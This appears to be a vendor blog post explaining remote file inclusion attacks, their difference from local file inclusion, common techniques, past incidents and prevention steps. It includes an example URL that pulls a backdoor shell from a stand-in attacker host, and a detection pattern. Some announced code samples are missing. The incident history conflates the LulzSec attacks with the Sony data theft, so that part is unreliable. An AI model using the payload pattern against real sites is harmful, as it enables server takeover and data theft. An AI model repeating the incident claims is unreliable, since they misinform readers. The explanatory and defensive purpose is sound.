What is Remote File Inclusion (RFI) Vulnerability?

August 6, 1991. Does the date ring any bells? No, it wasn’t the collapse of the Soviet Union (though you’re close). It was on that otherwise unremarkable summer day that Tim Berners-Lee launched the very first web page. More than thirty years have passed since then, and websites have come a long way, haven’t they? Ditching the once static shell, web pages have turned dynamic, interactive, and more sophisticated than ever. But with great power comes great responsibility vulnerability, and that’s where remote file inclusion exploits come into play. What is remote file inclusion (RFI), you may ask? That’s what we’re here to discuss, so buckle up ‘cause it’s going to be a bumpy ride.

What is Remote File Inclusion (RFI)?

Using as little tech-heavy lingo as possible, remote file inclusion (RFI) is what happens when you insert files from remote web servers into unrelated web pages. With today’s websites, you can and, more often than not, you will do that on purpose. Normally, you include remote files to display content from remote web apps. As long as the web application dynamically includes external content (files, scripts, you name it), remote file inclusion is always possible.

And, in good hands, this setting can do plenty of good, streamlining communication between remote web pages and increasing the recipient’s page content output. In the wrong hands, however, the same setting can lead to a remote file inclusion attack, and those can be critical.

How are Remote File Inclusion Attacks Possible?

The hackers’ goal is to trick the web app’s referencing function into uploading malware (like backdoor shells) from remote URLs within different domains.

When they’re able to do so, a successful remote file inclusion attack can cause serious trouble. Sensitive information theft, compromised servers, complete site takeovers where the hackers can modify its content, the list goes on.

To give you the gist, the whole process looks a little something like this:

• Using a search engine, attackers identify websites that include/run on vulnerable components. Though a little less common, hackers can also use scanners to identify these web pages.
• Exploiting the pages’ remote file inclusion vulnerability, attackers upload malicious software on the web application.
• Once the malware is installed, the app/page is compromised. The hackers can modify, deface, or delete the entire page.
• From there, the attackers can also hijack the server. Using it as a DDoS bot, they can compromise multiple websites.
• Data is exposed. Sensitive information (including passwords) is up for grabs.

What’s the Difference Between RFI and LFI?

You’ve heard about local file inclusion attacks before? Great. A little fuzzy on the difference between local and remote file inclusion attacks? No worries, we got you.

See, not unlike RFI attacks, the local variety are vectors that revolve around uploading malicious content to servers through web browsers. Because they are quite a bit alike, people often reference these two vectors together when they talk about file inclusion vulnerabilities.

Remote or not, the attack can be called successful when the hackers manage to upload malware onto the targeted servers. Where the two attacks split up is in the middle. Unlike remote file inclusion assaults, LFI attacks rely upon exploiting insecure local file upload functions.

When they’re unable to validate user-supplied and controlled input, malicious characters are able to upload and execute a directory path traversal exploit.

With this method, hackers can upload malware onto a compromised system without taking any virtual detours. The remote file inclusion attack enjoyers, on the other hand, have to retrieve it via a tempered external referencing function from a remote location.

Don’t have a good grip on the subject yet anyway? It’s alright. Let’s single out a few examples to see what these vulnerabilities look like in the wild.

Remote File Inclusion Examples

Once again, a remote file inclusion attack is made possible when the hackers insert files from remote web servers into unrelated web pages. How are they able to do so? Using these (among others) methods:

The Trailing Question Mark Case

Adding a question mark at the end of the injected RFI payload easily lands among the most common and often-used RFI techniques. Borrowing a page from the SQL injections’ book, this method utilizes comment specifiers (–, ;– or #), putting them at the payloads’ end.

The move makes sense ‘cause the people behind the RFI attack do what the rest of the PHP code (the one they’re infecting) is supposed to do. Because that’s the case, the “?” characters make the system treat the untouched code as a parameter to the injected RFI code. From there, the RFI code ‘disregards’ the legitimate code and executes just its own instead. A typical trailing question mark attack looks a little something like this:

The most efficient (and straightforward) way to detect an attack like that is to search for “(ft|htt)ps?.*\?$”. To give you an example:

The Request Parameter Case

Perhaps the second-most favored attack technique among RFI vulnerability enjoyers is where they manipulate the request parameters, making them refer to remote malicious files. To illustrate, take a look at the code below:

In this case, while the 1st line is busy extracting the file parameter value from the following HTTP request, the 2nd line makes that value dynamically set the name of the file. Because the value of the file parameter is not sanitized properly, the hackers can exploit this code and upload unauthorized files.

Consider the following URL string: http://www.example.com/vuln_page.php?file=http://www.hacker.com/backdoor_. What we see here is an external reference that adds a backdoor file stored in a remote location (http://www.hacker.com/backdoor_shell.php.).

Once uploaded to the app, this little backdoor will make hijacking the server’s underlying structure and gaining access to the app’s database an absolute walk in the park.

Having been uploaded to the application, this backdoor can later be used to hijack the underlying server or gain access to the application database.

Though there are countless backdoor shells out there, most RFI attackers usually go with the R57.

The PHP File Case

Imagine, if you will, a dev who’d like to include a local file corresponding to the specified page using a GET parameter. That person would be working with various PHP files like contact.php, main.php, and about.php. As you know, all of these files yield different functionalities to the web page. Still, you can call each file using the request below that you send to the index.php file:

Here, the dev would expect only the files inside that folder to be included. However, it is possible for attackers to include files from a different directory (LFI) or from different web servers altogether (RFI). That’s especially the case when the web app doesn’t have a file whitelist.

Actually, when you don’t have a whitelist with the only permitted files, hackers can easily turn the filepath to the include function (or its equivalent in a different programming language). Attackers can also include local files but, more often than not, they would just change the path to the file that’s located on the hacker-controlled control.

Upon successful execution, the intruders will be able to write malicious code inside the file without poisoning logs or injecting code into the web server.

Real-Life RFI Examples

Despite its simplicity, the RFI attack vector has been able to wreak serious havoc many times before. The following are the biggest examples:

The LulzSec Crusade

The self-identified security community seldom treats remote file inclusion vulnerabilities with the respect they deserve. And, sure, it’s not the most sophisticated attack out there. Nevertheless, it can and, at times, does have tremendous repercussions.

The most well-known RFI attack was carried out more than 10 years ago. In the middle of May, 2011, a hacker group that called itself LulzSec identified a weakness in FOX.com and invaded the website with RFI bots. Using these bots, they were able to leak the personal information (profiles and names) of 73,000 X Factor US contestants. Following this incident, the same group has been able to plant a fake news story at PBS, stealing data from as many as 24.6 million of Sony’s PlayStation Network customers.

The Panama Papers Incident

Easily one of the most important and talked-about hacking incidents of the last decade, The Panama Papers were a collection of 11.5 million records from Mossack Fonseca. Leaked to a German journalist Bastian Obermayer in 2015, the news hit the public in April of 2016. Because the size of the leaked data was as massive as it was, the International Consortium of Investigative Journalists was approached.

In case you’re not aware, the incident’s significance stems from the practically countless public figures (past and present) being involved in the scandal. Exposing these figures’ shady financial dealings (including ties to tax havens, drug cartels, and terrorists), these papers were able to stir quite the pot. Some public figures had to resign, some to move, and some were even arrested thanks to the leak.

In short, this incident was massive. There’s just one caveat – we’re not sure it was a remote file inclusion attack that dealt the final blow. Because the website was hosted on outdated software (and because the docs were leaked to the public in parts), the actual attack method is unknown. Still, there’s enough evidence and reason to believe that RFI was among the vectors that sent the site tumbling to the ground.

RFI Prevention & Mitigation

RFI attacks can deal massive damage. The good news is that there are multiple security measures you can take to prevent and mitigate remote file inclusion attacks. Besides writing an impeccable code that would minimize vulnerabilities, these are the steps anyone can take toward RFI prevention:

• Sanitization. A technique where you locate and remove possibly harmful user inputs.
• Validation. This is where you test the user input before you include or execute it.
• Vulnerability scanning. Here, you use any effective tool at your disposal (commercial or free, as long as it works) to scan the app for potential RFI threats on a regular basis.
• Whitelist. Create a whitelist that will maintain all verified and secured file types/texts for you. Everything that you haven’t added to the whitelist can (and should be) ignored.
• Blacklist. Identify the attackers and harmful URLs that are publicly available and add them to the blacklist. You can also add those that have already tried infiltrating your website and/or server.
• Code reviewing. Your web app’s firewall should have a code-reviewing feature. Activate it to help you find any vulnerabilities in the code.

In Conclusion

Remote file inclusion attacks do not rank among the most sophisticated attack vectors out there. And that’s precisely why they can pose a serious threat. Because you don’t think you might be vulnerable until it’s too late, RFI can easily catch you off-guard and make you pay. That said, provided you don’t ignore the above-listed suggestions and exercise caution, you should be fine.

Security hygiene boost: The ultimate RFI prevention cheat sheet

Please enter your business email isn′t a business email

Grab Your Free Copy